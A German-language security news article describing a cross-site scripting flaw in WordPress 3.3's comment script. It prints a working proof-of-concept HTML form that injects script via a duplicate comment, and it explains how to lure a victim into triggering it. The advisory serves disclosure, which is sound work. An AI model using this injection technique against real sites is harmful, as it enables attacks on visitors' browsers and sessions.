Wordpress: Cross-Site-Scripting-Schwachstelle

Eine Sicherheitslücke in der Blog-Software WordPress hat zur Folge, dass ein entfernter Angreifer Cross-Site-Scripting-Attacken durchführen kann. Dadurch ist er in der Lage, Befehle innerhalb des Browsers eines anderen Anwenders auszuführen.
Die Schwachstelle befindet sich im Skript “wp-comments-post.php” das HTML-Benutzereingaben nicht korrekt filtert. Das hat zur Folge, dass doppelte Kommentare nicht richtig behandelt werden. Eine detaillierte Beschreibung des Exploits ist im Web zu finden.
Zur Attacke muss der Angreifer zunächst einen beliebigen Kommentar auf einer WordPress-Seite anlegen. Dann bringt er sein Opfer dazu, ein Duplikat dieses Kommentars anzulegen, um die Sicherheitslücke auszunutzen. Dazu konstruiert er eine HTML-Datei, die ungefähr wie folgt aussieht:

<html>
<title>Wordpress 3.3 XSS PoC</title>
<body>
<form name="XSS" id="XSS" action="http://host/wordpress/wp-comments-post.php?</style><script>document.write(Date())</script><style>" method="POST">
<input type="hidden" name="author" value="replace me">
<input type="hidden" name="email" value="replace me">
<input type="hidden" name="url" value="">
<input type="hidden" name="comment" value="replace me">
<input type="hidden" name="submit" value="Post Comment">
<input type="hidden" name="comment_post_ID" value="replace me">
<input type="hidden" name="comment_parent" value="0">
<input type="button" value="Click Me" />
</form>
</body>
</html>

Alle Vorkommnisse von “replace me” sind dabei durch die Einträge des ersten Kommentars zu ersetzen, um einen doppelten Eintrag zu erzeugen. Die Felder “author” und “email” sind leicht zu duplizieren. Entscheidend ist aber, dass auch die “comment_post_ID” übereinstimmt. Diese ist einfach anhand der URL des vorherigen Kommentars herauszufinden, denn sie steht als Parameter “p” in der URL. Nachdem alle Felder so ersetzt wurden, kopiert der Angreifer diese Datei auf einen beliebigen Webserver. Dann lenkt er sein Opfer auf diese Seite, wo es dann “Click Me” anklickt.
Der Browser versucht daraufhin, einen Kommentar auf den Webserver mit der verwundbaren WordPress-Installation zu posten. Da der Eintrag aber ein Duplikat ist, antwortet der Server mit einer Fehlermeldung. Dabei wiederholt die Fehlerseite unvorsichtigerweise den an die Anfrage angehängten Javascript-Code “document.write(Date())”, den der Browser auch prompt ausführt. Der Javascript-XSS-Code lässt sich durch eine beliebige Payload ersetzen.
Betroffen ist die WordPress-Version 3.3.

Nach oben